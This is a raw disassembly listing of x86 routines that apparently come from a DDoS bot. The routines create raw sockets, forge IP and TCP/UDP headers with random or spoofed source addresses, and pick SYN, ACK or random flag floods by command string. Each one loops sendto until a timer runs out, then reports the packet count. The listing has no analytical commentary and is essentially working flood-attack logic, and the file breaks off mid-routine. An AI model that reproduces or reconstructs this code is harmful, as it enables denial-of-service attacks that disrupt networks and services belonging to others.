		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4E3068	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_41BE40
		mov	edi, dword_4F537C
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4E3088	; htons
		mov	[ebp+var_96], ax
		jmp	loc_414697
; ---------------------------------------------------------------------------

loc_4145CD:				; CODE XREF: sub_4144AD+1FBj
		call	sub_41EB70
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41EB70
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41EB70
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41EB70
		mov	[ebp+var_20], ax
		call	sub_41EB70
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4E3088	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4E3088	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41EB70
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40AF06
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_41FBF0
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4E30EC	; sendto

loc_414697:				; CODE XREF: sub_4144AD+11Bj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		jbe	loc_4145CD
		push	[ebp+var_8]
		call	sub_41C9D0
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_4144AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146C8	proc near		; DATA XREF: sub_401C87+5468o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9F]
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4F537C
		call	edi	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4E3108	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_414791
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_44CE78
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414771
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409C75
		add	esp, 14h

loc_414771:				; CODE XREF: sub_4146C8+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415A3C
		push	[ebp+var_BC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_414791:				; CODE XREF: sub_4146C8+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4E3068	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41480F
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_44CEAC
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4147EF
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409C75
		add	esp, 14h

loc_4147EF:				; CODE XREF: sub_4146C8+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415A3C
		push	[ebp+var_BC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_41480F:				; CODE XREF: sub_4146C8+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41487F
		lea	eax, [ebp+var_440]
		push	offset unk_44CEE4
		push	eax
		call	sub_41EA60
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41485F
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409C75
		add	esp, 14h

loc_41485F:				; CODE XREF: sub_4146C8+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415A3C
		push	[ebp+var_BC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_41487F:				; CODE XREF: sub_4146C8+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4E3088	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax
		jmp	loc_414AE7
; ---------------------------------------------------------------------------

loc_4148BC:				; CODE XREF: sub_4146C8+433j
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4E3088	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414915
		call	sub_41EB70
		mov	esi, eax
		shl	esi, 8
		call	sub_41EB70
		add	esi, eax
		shl	esi, 8
		call	sub_41EB70
		add	esi, eax
		shl	esi, 8
		call	sub_41EB70
		add	esi, eax
		mov	[ebp+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_41492B
; ---------------------------------------------------------------------------

loc_414915:				; CODE XREF: sub_4146C8+21Ej
		push	[ebp+var_240]
		call	sub_40AEAD
		pop	ecx
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	[ebp+var_20], eax

loc_41492B:				; CODE XREF: sub_4146C8+24Bj
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_414949
		call	sub_41EB70
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_41494F
; ---------------------------------------------------------------------------

loc_414949:				; CODE XREF: sub_4146C8+26Fj
		push	[ebp+var_B8]

loc_41494F:				; CODE XREF: sub_4146C8+27Fj
		call	dword_4E3088	; htons
		mov	[ebp+var_16], ax
		call	sub_41EB70
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E3088	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4E3084	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn_1	; "syn"
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41499F
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4149FB
; ---------------------------------------------------------------------------

loc_41499F:				; CODE XREF: sub_4146C8+2CCj
		lea	eax, [ebp+var_1BC]
		push	offset aAck_0	; "ack"
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4149BF
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4149FB
; ---------------------------------------------------------------------------

loc_4149BF:				; CODE XREF: sub_4146C8+2ECj
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_2 ; "random"
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4149FB
		call	sub_41EB70
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41EB70
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_4149FB:				; CODE XREF: sub_4146C8+2D5j
					; sub_4146C8+2F5j ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4E3088	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4E3088	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF06
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_41FBF0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF06
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41FBF0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4E30EC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_414B92
		inc	[ebp+arg_0]

loc_414AE7:				; CODE XREF: sub_4146C8+1EFj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_B4]
		jbe	loc_4148BC
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_44CF18
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414B72
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409C75
		add	esp, 14h

loc_414B72:				; CODE XREF: sub_4146C8+485j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415A3C
		push	[ebp+var_BC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_414B92:				; CODE XREF: sub_4146C8+416j
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_44CF68
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414BF0
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409C75
		add	esp, 14h

loc_414BF0:				; CODE XREF: sub_4146C8+503j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415A3C
		push	[ebp+var_BC]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
sub_4146C8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C10	proc near		; CODE XREF: sub_414D19+196p
					; sub_414D19+1FFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp+arg_4], esi
		jle	short loc_414C3E
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi

loc_414C30:				; CODE XREF: sub_414C10+28j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_414C30
		pop	edi
		cmp	ecx, 1

loc_414C3E:				; CODE XREF: sub_414C10+12j
		jnz	short loc_414C4B
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax

loc_414C4B:				; CODE XREF: sub_414C10:loc_414C3Ej
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_414C10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C64	proc near		; DATA XREF: sub_401C87+6D8Co

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41E710
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E30C8	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_414D19
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_44CFB8
		push	eax
		call	sub_41EA60
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_414CFC
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409C75
		add	esp, 14h

loc_414CFC:				; CODE XREF: sub_414C64+76j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
sub_414C64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D19	proc near		; CODE XREF: sub_414C64+54p

var_C8		= byte ptr -0C8h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_9E		= word ptr -9Eh
var_9C		= byte ptr -9Ch
var_88		= byte ptr -88h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= word ptr -46h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, dword_4F537C
		push	edi
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_C], eax
		call	dword_4E3108	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		mov	ebx, 578h
		push	ebx
		push	9
		push	1
		call	sub_419313
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	esi, 5A0h

loc_414D72:				; CODE XREF: sub_414D19+224j
		call	dword_4F537C	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_414F42
		cmp	dword_4E682C, 0
		jnz	short loc_414DF1
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E302C	; getsockname
		push	0FFh
		push	1
		call	sub_419313
		push	eax
		movzx	eax, [ebp+var_5E]
		push	eax
		movzx	eax, [ebp+var_5F]
		push	eax
		movzx	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_C8]
		push	offset aD_D_D_D_1 ; "%d.%d.%d.%d"
		push	eax
		call	sub_41EA60
		add	esp, 20h
		jmp	short loc_414E04
; ---------------------------------------------------------------------------

loc_414DF1:				; CODE XREF: sub_414D19+7Ej
		lea	eax, [ebp+var_C8]
		push	offset dword_4E6210
		push	eax
		call	sub_41F620
		pop	ecx
		pop	ecx

loc_414E04:				; CODE XREF: sub_414D19+D6j
		lea	eax, [ebp+var_C8]
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	edi, eax
		mov	eax, [ebp+var_54]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_50], 10h
		mov	[ebp+var_54], eax
		call	dword_4E3088	; htons
		mov	[ebp+var_4E], ax
		call	sub_41EB70
		and	[ebp+var_46], 0
		mov	[ebp+var_4C], ax
		mov	eax, [ebp+arg_194]

loc_414E40:				; DATA XREF: .packed:0045480Co
		mov	[ebp+var_4A], 40h
		mov	[ebp+var_48], 40h
		mov	[ebp+var_47], 6
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], eax
		call	sub_41EB70
		mov	[ebp+var_3C], ax
		call	sub_41EB70
		mov	[ebp+var_3A], ax
		call	sub_41EB70
		mov	[ebp+var_38], eax
		call	sub_41EB70
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_30]
		and	al, 50h
		mov	edi, [ebp+var_40]
		or	al, 50h
		and	[ebp+var_2A], 0
		and	[ebp+var_28], 0
		mov	word ptr [ebp+var_30], ax
		mov	ax, [ebp+var_3A]
		push	14h
		mov	[ebp+var_72], ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	byte ptr [ebp+var_30+2], 18h
		mov	[ebp+var_2C], 787Dh
		mov	[ebp+var_74], 2
		mov	[ebp+var_70], edi
		call	sub_414C10
		and	[ebp+var_A0], 0
		pop	ecx
		pop	ecx
		mov	[ebp+var_46], ax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], edi
		mov	[ebp+var_9F], 6
		call	dword_4F552C	; htons
		mov	[ebp+var_9E], ax
		lea	eax, [ebp+var_9C]
		push	14h
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_88]
		push	ebx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_A8]
		push	598h
		push	eax
		call	sub_414C10
		add	esp, 20h
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_74]
		push	10h
		push	eax
		push	0
		push	esi
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+var_8]
		call	dword_4E30EC	; sendto
		inc	[ebp+var_4]
		jmp	loc_414D72
; ---------------------------------------------------------------------------

loc_414F42:				; CODE XREF: sub_414D19+71j
		push	[ebp+var_8]
		call	dword_4E3120	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414D19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F53	proc near		; DATA XREF: sub_401C87+4D47o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_414FC9
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44CFF8
		push	eax
		call	sub_41EA60
		add	esp, 220h
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	0
		call	dword_4F53A0	; ExitThread
sub_414F53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FC9	proc near		; CODE XREF: sub_414F53+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4E3108	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_415007
		lea	eax, [ebp+var_254]
		push	offset unk_44D038
		push	eax
		call	sub_41EA60
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4152CD
; ---------------------------------------------------------------------------

loc_415007:				; CODE XREF: sub_414FC9+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4E3068	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415033
		call	dword_4E301C	; WSAGetLastError
		push	eax
		push	offset unk_44D068
		jmp	short loc_41504E
; ---------------------------------------------------------------------------

loc_415033:				; CODE XREF: sub_414FC9+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415062
		call	dword_4E301C	; WSAGetLastError
		push	eax
		push	offset unk_44D0B8

loc_41504E:				; CODE XREF: sub_414FC9+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_4152CD
; ---------------------------------------------------------------------------

loc_415062:				; CODE XREF: sub_414FC9+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4E3088	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4F5528	; inet_addr
		mov	esi, dword_4F537C
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44D0FC
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4150CB
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_4150CB:				; CODE XREF: sub_414FC9+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41E710
		cmp	esi, eax
		pop	ecx
		ja	loc_415284
		mov	esi, 41Ch
		jmp	short loc_4150FF
; ---------------------------------------------------------------------------

loc_4150FA:				; CODE XREF: sub_414FC9+2B5j
		mov	ebx, 0FFh

loc_4150FF:				; CODE XREF: sub_414FC9+12Fj
		cmp	dword_4E682C, edi
		jnz	short loc_415157
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E302C	; getsockname
		push	ebx
		push	1
		call	sub_419313
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D_2 ; "%d.%d.%d.%d"
		push	eax
		call	sub_41EA60
		add	esp, 20h
		jmp	short loc_415167
; ---------------------------------------------------------------------------

loc_415157:				; CODE XREF: sub_414FC9+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4E6210
		push	eax
		call	sub_41F620
		pop	ecx
		pop	ecx

loc_415167:				; CODE XREF: sub_414FC9+18Cj
		push	esi
		mov	byte_4E6410, 45h
		call	dword_4E3088	; htons
		mov	word_4E6412, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4E6414, 1
		mov	word_4E6416, di
		mov	byte_4E6418, 80h
		mov	byte_4E6419, 11h
		mov	word_4E641A, di
		call	dword_4E30C8	; inet_addr
		mov	dword_4E641C, eax
		mov	eax, [ebp+var_20]
